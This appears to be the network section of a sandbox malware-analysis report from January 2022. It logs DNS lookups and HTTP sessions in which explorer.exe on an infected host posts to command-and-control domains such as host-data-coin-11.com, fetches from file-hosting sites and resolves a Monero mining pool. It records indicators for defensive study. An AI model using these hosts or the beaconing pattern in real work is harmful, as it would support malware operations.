Jan 14, 2022 12:23:12.758189917 CET 192.168.2.5 8.8.8.8 0x663c Standard query 
(0)

host-data-coin-
11.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:23:12.992185116 CET 192.168.2.5 8.8.8.8 0xa1e1 Standard query 
(0)

host-data-coin-
11.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:23:13.244385958 CET 192.168.2.5 8.8.8.8 0x2f24 Standard query 
(0)

data-host-coin-
8.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:23:15.711879969 CET 192.168.2.5 8.8.8.8 0x6e56 Standard query 
(0)

host-data-coin-
11.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:23:16.126909971 CET 192.168.2.5 8.8.8.8 0x2a78 Standard query 
(0)

host-data-coin-
11.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:23:16.337440014 CET 192.168.2.5 8.8.8.8 0x7339 Standard query 
(0)

data-host-coin-
8.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:23:19.151798010 CET 192.168.2.5 8.8.8.8 0x7931 Standard query 
(0)

host-data-coin-
11.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:23:19.372010946 CET 192.168.2.5 8.8.8.8 0x4a4f Standard query 
(0)

host-data-coin-
11.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:23:22.383939981 CET 192.168.2.5 8.8.8.8 0x34c4 Standard query 
(0)

host-data-coin-
11.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:23:22.731987000 CET 192.168.2.5 8.8.8.8 0xb25b Standard query 
(0)

host-data-coin-
11.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:23:22.953165054 CET 192.168.2.5 8.8.8.8 0x18ea Standard query 
(0)

host-data-coin-
11.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:23:26.156791925 CET 192.168.2.5 8.8.8.8 0x6cae Standard query 
(0)

microsoft-
com.mail.p
rotection.
outlook.com

A (IP address) IN (0x0001)

Jan 14, 2022 12:23:34.812937975 CET 192.168.2.5 8.8.8.8 0x824 Standard query 
(0)

patmushta.info A (IP address) IN (0x0001)

Jan 14, 2022 12:23:41.778495073 CET 192.168.2.5 8.8.8.8 0x975b Standard query 
(0)

pool.suppo
rtxmr.com

A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class
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Jan 14, 2022 
12:22:06.063271999 
CET

8.8.8.8 192.168.2.5 0x7104 No error (0) host-data-coin-
11.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:22:06.542243004 
CET

8.8.8.8 192.168.2.5 0x68ce No error (0) host-data-coin-
11.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:22:07.033073902 
CET

8.8.8.8 192.168.2.5 0xdd07 No error (0) host-data-coin-
11.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:22:07.210400105 
CET

8.8.8.8 192.168.2.5 0x8ead No error (0) host-data-coin-
11.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:22:07.655400038 
CET

8.8.8.8 192.168.2.5 0x51a No error (0) host-data-coin-
11.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:22:08.118467093 
CET

8.8.8.8 192.168.2.5 0xf215 No error (0) host-data-coin-
11.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:22:09.541804075 
CET

8.8.8.8 192.168.2.5 0xb76c No error (0) host-data-coin-
11.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:22:09.710275888 
CET

8.8.8.8 192.168.2.5 0x1663 No error (0) host-data-coin-
11.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:22:10.204422951 
CET

8.8.8.8 192.168.2.5 0xaa4f No error (0) data-host-coin-
8.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:22:15.212955952 
CET

8.8.8.8 192.168.2.5 0x96b6 No error (0) host-data-coin-
11.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:22:15.442047119 
CET

8.8.8.8 192.168.2.5 0x627d No error (0) host-data-coin-
11.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:22:15.631885052 
CET

8.8.8.8 192.168.2.5 0x36cf No error (0) host-data-coin-
11.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:22:16.118706942 
CET

8.8.8.8 192.168.2.5 0x7aa6 No error (0) host-data-coin-
11.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:22:16.461873055 
CET

8.8.8.8 192.168.2.5 0xbadf No error (0) host-data-coin-
11.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:22:17.048579931 
CET

8.8.8.8 192.168.2.5 0x946d No error (0) unicupload.top 54.38.220.85 A (IP address) IN (0x0001)

Jan 14, 2022 
12:22:17.126211882 
CET

8.8.8.8 192.168.2.5 0x65f1 No error (0) host-data-coin-
11.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:22:17.292114019 
CET

8.8.8.8 192.168.2.5 0xea0c No error (0) host-data-coin-
11.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:22:17.457623959 
CET

8.8.8.8 192.168.2.5 0x7fe6 No error (0) host-data-coin-
11.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:22:17.625021935 
CET

8.8.8.8 192.168.2.5 0x80f3 No error (0) host-data-coin-
11.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:22:18.064528942 
CET

8.8.8.8 192.168.2.5 0x338 No error (0) data-host-coin-
8.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:22:20.911760092 
CET

8.8.8.8 192.168.2.5 0x1131 No error (0) host-data-coin-
11.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:22:21.193300009 
CET

8.8.8.8 192.168.2.5 0x97c8 No error (0) host-data-coin-
11.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:22:21.663953066 
CET

8.8.8.8 192.168.2.5 0xb102 No error (0) host-data-coin-
11.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:22:21.901225090 
CET

8.8.8.8 192.168.2.5 0xb311 No error (0) host-data-coin-
11.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:22:25.605932951 
CET

8.8.8.8 192.168.2.5 0xa5ba No error (0) host-data-coin-
11.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:22:25.864382982 
CET

8.8.8.8 192.168.2.5 0xd369 No error (0) host-data-coin-
11.com

8.209.70.0 A (IP address) IN (0x0001)
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Jan 14, 2022 
12:22:26.155409098 
CET

8.8.8.8 192.168.2.5 0x3dd8 No error (0) host-data-coin-
11.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:22:26.366007090 
CET

8.8.8.8 192.168.2.5 0xa8cf No error (0) cdn.discor
dapp.com

162.159.130.233 A (IP address) IN (0x0001)

Jan 14, 2022 
12:22:26.366007090 
CET

8.8.8.8 192.168.2.5 0xa8cf No error (0) cdn.discor
dapp.com

162.159.133.233 A (IP address) IN (0x0001)

Jan 14, 2022 
12:22:26.366007090 
CET

8.8.8.8 192.168.2.5 0xa8cf No error (0) cdn.discor
dapp.com

162.159.135.233 A (IP address) IN (0x0001)

Jan 14, 2022 
12:22:26.366007090 
CET

8.8.8.8 192.168.2.5 0xa8cf No error (0) cdn.discor
dapp.com

162.159.129.233 A (IP address) IN (0x0001)

Jan 14, 2022 
12:22:26.366007090 
CET

8.8.8.8 192.168.2.5 0xa8cf No error (0) cdn.discor
dapp.com

162.159.134.233 A (IP address) IN (0x0001)

Jan 14, 2022 
12:22:29.292716026 
CET

8.8.8.8 192.168.2.5 0x2389 No error (0) host-data-coin-
11.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:22:29.478868961 
CET

8.8.8.8 192.168.2.5 0x5421 No error (0) host-data-coin-
11.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:22:29.669946909 
CET

8.8.8.8 192.168.2.5 0x5544 No error (0) host-data-coin-
11.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:22:42.249907970 
CET

8.8.8.8 192.168.2.5 0x1b37 No error (0) microsoft-
com.mail.p
rotection.
outlook.com

104.47.53.36 A (IP address) IN (0x0001)

Jan 14, 2022 
12:22:42.249907970 
CET

8.8.8.8 192.168.2.5 0x1b37 No error (0) microsoft-
com.mail.p
rotection.
outlook.com

104.47.54.36 A (IP address) IN (0x0001)

Jan 14, 2022 
12:22:42.249907970 
CET

8.8.8.8 192.168.2.5 0x1b37 No error (0) microsoft-
com.mail.p
rotection.
outlook.com

40.93.212.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:22:42.249907970 
CET

8.8.8.8 192.168.2.5 0x1b37 No error (0) microsoft-
com.mail.p
rotection.
outlook.com

40.93.207.1 A (IP address) IN (0x0001)

Jan 14, 2022 
12:22:42.249907970 
CET

8.8.8.8 192.168.2.5 0x1b37 No error (0) microsoft-
com.mail.p
rotection.
outlook.com

52.101.24.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:22:42.249907970 
CET

8.8.8.8 192.168.2.5 0x1b37 No error (0) microsoft-
com.mail.p
rotection.
outlook.com

40.93.207.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:22:44.812325001 
CET

8.8.8.8 192.168.2.5 0x7e20 No error (0) patmushta.info 94.142.143.116 A (IP address) IN (0x0001)

Jan 14, 2022 
12:22:50.924161911 
CET

8.8.8.8 192.168.2.5 0xac10 No error (0) host-data-coin-
11.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:22:51.453624010 
CET

8.8.8.8 192.168.2.5 0xc3d6 No error (0) host-data-coin-
11.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:22:51.682991982 
CET

8.8.8.8 192.168.2.5 0x9c41 No error (0) host-data-coin-
11.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:22:52.214281082 
CET

8.8.8.8 192.168.2.5 0xab2b No error (0) host-data-coin-
11.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:22:52.551795006 
CET

8.8.8.8 192.168.2.5 0xf13d No error (0) host-data-coin-
11.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:22:53.039920092 
CET

8.8.8.8 192.168.2.5 0x4ab2 No error (0) host-data-coin-
11.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:22:53.264425993 
CET

8.8.8.8 192.168.2.5 0xdc8b No error (0) host-data-coin-
11.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:22:53.738656998 
CET

8.8.8.8 192.168.2.5 0x6bfe No error (0) host-data-coin-
11.com

8.209.70.0 A (IP address) IN (0x0001)
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Jan 14, 2022 
12:22:53.906024933 
CET

8.8.8.8 192.168.2.5 0x742c No error (0) host-data-coin-
11.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:22:54.382325888 
CET

8.8.8.8 192.168.2.5 0xba41 No error (0) host-data-coin-
11.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:22:54.551448107 
CET

8.8.8.8 192.168.2.5 0xba9c No error (0) host-data-coin-
11.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:22:54.729928970 
CET

8.8.8.8 192.168.2.5 0xf14f No error (0) host-data-coin-
11.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:22:54.955018997 
CET

8.8.8.8 192.168.2.5 0x6f85 No error (0) host-data-coin-
11.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:22:55.415749073 
CET

8.8.8.8 192.168.2.5 0x9d87 No error (0) data-host-coin-
8.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:22:57.535023928 
CET

8.8.8.8 192.168.2.5 0x7f67 No error (0) host-data-coin-
11.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:22:57.729058981 
CET

8.8.8.8 192.168.2.5 0xd94c No error (0) host-data-coin-
11.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:22:57.985137939 
CET

8.8.8.8 192.168.2.5 0xf6c0 No error (0) goo.su 172.67.139.105 A (IP address) IN (0x0001)

Jan 14, 2022 
12:22:57.985137939 
CET

8.8.8.8 192.168.2.5 0xf6c0 No error (0) goo.su 104.21.38.221 A (IP address) IN (0x0001)

Jan 14, 2022 
12:22:58.500293016 
CET

8.8.8.8 192.168.2.5 0x7a67 No error (0) host-data-coin-
11.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:22:58.757940054 
CET

8.8.8.8 192.168.2.5 0xeeb2 No error (0) transfer.sh 144.76.136.153 A (IP address) IN (0x0001)

Jan 14, 2022 
12:22:59.042546034 
CET

8.8.8.8 192.168.2.5 0x7371 No error (0) host-data-coin-
11.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:22:59.249876976 
CET

8.8.8.8 192.168.2.5 0x8a9 No error (0) host-data-coin-
11.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:22:59.517605066 
CET

8.8.8.8 192.168.2.5 0x99a No error (0) host-data-coin-
11.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:22:59.874605894 
CET

8.8.8.8 192.168.2.5 0x10fa No error (0) host-data-coin-
11.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:23:00.399705887 
CET

8.8.8.8 192.168.2.5 0xbeab No error (0) data-host-coin-
8.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:23:03.423765898 
CET

8.8.8.8 192.168.2.5 0xba53 No error (0) host-data-coin-
11.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:23:03.710294008 
CET

8.8.8.8 192.168.2.5 0xc33f No error (0) host-data-coin-
11.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:23:03.985604048 
CET

8.8.8.8 192.168.2.5 0xf639 No error (0) transfer.sh 144.76.136.153 A (IP address) IN (0x0001)

Jan 14, 2022 
12:23:06.344434977 
CET

8.8.8.8 192.168.2.5 0x6646 No error (0) host-data-coin-
11.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:23:06.535018921 
CET

8.8.8.8 192.168.2.5 0x1326 No error (0) host-data-coin-
11.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:23:06.717583895 
CET

8.8.8.8 192.168.2.5 0x67a1 No error (0) host-data-coin-
11.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:23:06.896485090 
CET

8.8.8.8 192.168.2.5 0xbbb0 No error (0) host-data-coin-
11.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:23:07.068846941 
CET

8.8.8.8 192.168.2.5 0x9121 No error (0) transfer.sh 144.76.136.153 A (IP address) IN (0x0001)

Jan 14, 2022 
12:23:07.139643908 
CET

8.8.8.8 192.168.2.5 0xe6e0 No error (0) a0621298.x
sph.ru

141.8.194.74 A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class
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Jan 14, 2022 
12:23:07.653239965 
CET

8.8.8.8 192.168.2.5 0xb81f No error (0) a0621298.x
sph.ru

141.8.194.74 A (IP address) IN (0x0001)

Jan 14, 2022 
12:23:12.777971029 
CET

8.8.8.8 192.168.2.5 0x663c No error (0) host-data-coin-
11.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:23:13.009475946 
CET

8.8.8.8 192.168.2.5 0xa1e1 No error (0) host-data-coin-
11.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:23:13.261908054 
CET

8.8.8.8 192.168.2.5 0x2f24 No error (0) data-host-coin-
8.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:23:15.731090069 
CET

8.8.8.8 192.168.2.5 0x6e56 No error (0) host-data-coin-
11.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:23:16.145976067 
CET

8.8.8.8 192.168.2.5 0x2a78 No error (0) host-data-coin-
11.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:23:16.624636889 
CET

8.8.8.8 192.168.2.5 0x7339 No error (0) data-host-coin-
8.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:23:19.171446085 
CET

8.8.8.8 192.168.2.5 0x7931 No error (0) host-data-coin-
11.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:23:19.390783072 
CET

8.8.8.8 192.168.2.5 0x4a4f No error (0) host-data-coin-
11.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:23:22.405972958 
CET

8.8.8.8 192.168.2.5 0x34c4 No error (0) host-data-coin-
11.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:23:22.748775959 
CET

8.8.8.8 192.168.2.5 0xb25b No error (0) host-data-coin-
11.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:23:22.972512007 
CET

8.8.8.8 192.168.2.5 0x18ea No error (0) host-data-coin-
11.com

8.209.70.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:23:26.288593054 
CET

8.8.8.8 192.168.2.5 0x6cae No error (0) microsoft-
com.mail.p
rotection.
outlook.com

40.93.207.1 A (IP address) IN (0x0001)

Jan 14, 2022 
12:23:26.288593054 
CET

8.8.8.8 192.168.2.5 0x6cae No error (0) microsoft-
com.mail.p
rotection.
outlook.com

52.101.24.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:23:26.288593054 
CET

8.8.8.8 192.168.2.5 0x6cae No error (0) microsoft-
com.mail.p
rotection.
outlook.com

104.47.53.36 A (IP address) IN (0x0001)

Jan 14, 2022 
12:23:26.288593054 
CET

8.8.8.8 192.168.2.5 0x6cae No error (0) microsoft-
com.mail.p
rotection.
outlook.com

104.47.54.36 A (IP address) IN (0x0001)

Jan 14, 2022 
12:23:26.288593054 
CET

8.8.8.8 192.168.2.5 0x6cae No error (0) microsoft-
com.mail.p
rotection.
outlook.com

40.93.207.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:23:26.288593054 
CET

8.8.8.8 192.168.2.5 0x6cae No error (0) microsoft-
com.mail.p
rotection.
outlook.com

40.93.212.0 A (IP address) IN (0x0001)

Jan 14, 2022 
12:23:34.920110941 
CET

8.8.8.8 192.168.2.5 0x824 No error (0) patmushta.info 94.142.143.116 A (IP address) IN (0x0001)

Jan 14, 2022 
12:23:41.800332069 
CET

8.8.8.8 192.168.2.5 0x975b No error (0) pool.suppo
rtxmr.com

pool-
fr.supportxmr.com

CNAME 
(Canonical 
name)

IN (0x0001)

Jan 14, 2022 
12:23:41.800332069 
CET

8.8.8.8 192.168.2.5 0x975b No error (0) pool-fr.su
pportxmr.com

91.121.140.167 A (IP address) IN (0x0001)

Jan 14, 2022 
12:23:41.800332069 
CET

8.8.8.8 192.168.2.5 0x975b No error (0) pool-fr.su
pportxmr.com

37.187.95.110 A (IP address) IN (0x0001)

Jan 14, 2022 
12:23:41.800332069 
CET

8.8.8.8 192.168.2.5 0x975b No error (0) pool-fr.su
pportxmr.com

94.23.23.52 A (IP address) IN (0x0001)

Jan 14, 2022 
12:23:41.800332069 
CET

8.8.8.8 192.168.2.5 0x975b No error (0) pool-fr.su
pportxmr.com

149.202.83.171 A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class
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Jan 14, 2022 
12:23:41.800332069 
CET

8.8.8.8 192.168.2.5 0x975b No error (0) pool-fr.su
pportxmr.com

94.23.247.226 A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

            
185.233.81.115

            
cdn.discordapp.com

            
goo.su

            
transfer.sh

            
kymdfgnri.org

host-data-coin-11.com

            
beeqejbul.com

            
myagktjwng.org

            
kfstsnyyg.org

            
rixqkixqce.net

            
hnmacbxamx.com

            
fcajath.org

            
xsnng.org

            
data-host-coin-8.com

            
omfshf.com

            
oakmqpc.net

            
avcchgvg.net

            
netub.net

            
mmvrfxs.org

            
unicupload.top

            
mojpvs.net

            
iopwuya.net

            
yflvmivmu.org

            
unqxe.net

            
ebrxyso.net

            
fyuylsnyhc.net

            
syadn.net

            
cuarj.org

HTTP Request Dependency Graph
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185.7.214.171:8080

            
hebovqfla.net

            
oetlnrnrjr.com

            
jfiihy.com

            
bsrofnrygp.org

            
xniibtkwqj.com

            
ssdnxjvnbe.org

            
lbsaicb.net

            
wfxwh.org

            
fbxee.net

            
bbjevbm.net

            
dpmdlwn.com

            
ygwjjwbql.org

            
iyxmen.net

            
hmvnoyyn.net

            
nnxqs.net

            
pabidkfses.net

            
ntixvebkt.com

            
ofkjexhj.org

            
rjxnsim.net

            
lklgd.com

            
lhrpodd.org

            
qleshmgwbo.com

            
imbsnmrynf.com

            
tjhwdu.net

            
tunhaq.com

            
tdpktpuwsb.org

            
gmheob.com

            
ekivxk.com

            
ixdqjqpvmn.org
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rwvxpxpa.org

            
pfclfub.org

            
vxvcbaeist.org

            
mjgysxwru.org

            
pyrbcmnp.com

            
rxfwmtjv.org

            
obummb.com

            
qxikyqune.com

            
ihethwsug.com

            
81.163.30.181

            
xqloktf.com

            
gxbsgmqatu.org

            
xmhjvi.com

         

Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.2.5 49780 185.233.81.115 443 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

1 192.168.2.5 49799 162.159.130.233 443 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

10 192.168.2.5 49767 8.209.70.0 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jan 14, 2022 
12:22:07.673654079 CET

1409 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://rixqkixqce.net/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 166
Host: host-data-coin-11.com

HTTP Packets
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Jan 14, 2022 
12:22:07.792357922 CET

1410 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 11:22:07 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 
73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

11 192.168.2.5 49769 8.209.70.0 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jan 14, 2022 
12:22:08.137449980 CET

1411 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://hnmacbxamx.com/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 251
Host: host-data-coin-11.com

Jan 14, 2022 
12:22:08.258809090 CET

1418 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 11:22:08 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 32 64 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 13 49 3a 4a a6 e8 dd e6 f8 5f f5 4a 
88 2d a0 57 53 98 00 e5 a7 2c f8 2f 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 2dI:82OI:J_J-WS,/0

Session ID Source IP Source Port Destination IP Destination Port Process

12 192.168.2.5 49771 8.209.70.0 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jan 14, 2022 
12:22:09.559976101 CET

1419 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://fcajath.org/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 243
Host: host-data-coin-11.com

Jan 14, 2022 
12:22:09.680361032 CET

1420 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 11:22:09 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 
73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
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Session ID Source IP Source Port Destination IP Destination Port Process

13 192.168.2.5 49772 8.209.70.0 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jan 14, 2022 
12:22:09.728707075 CET

1421 OUT POST / HTTP/1.1
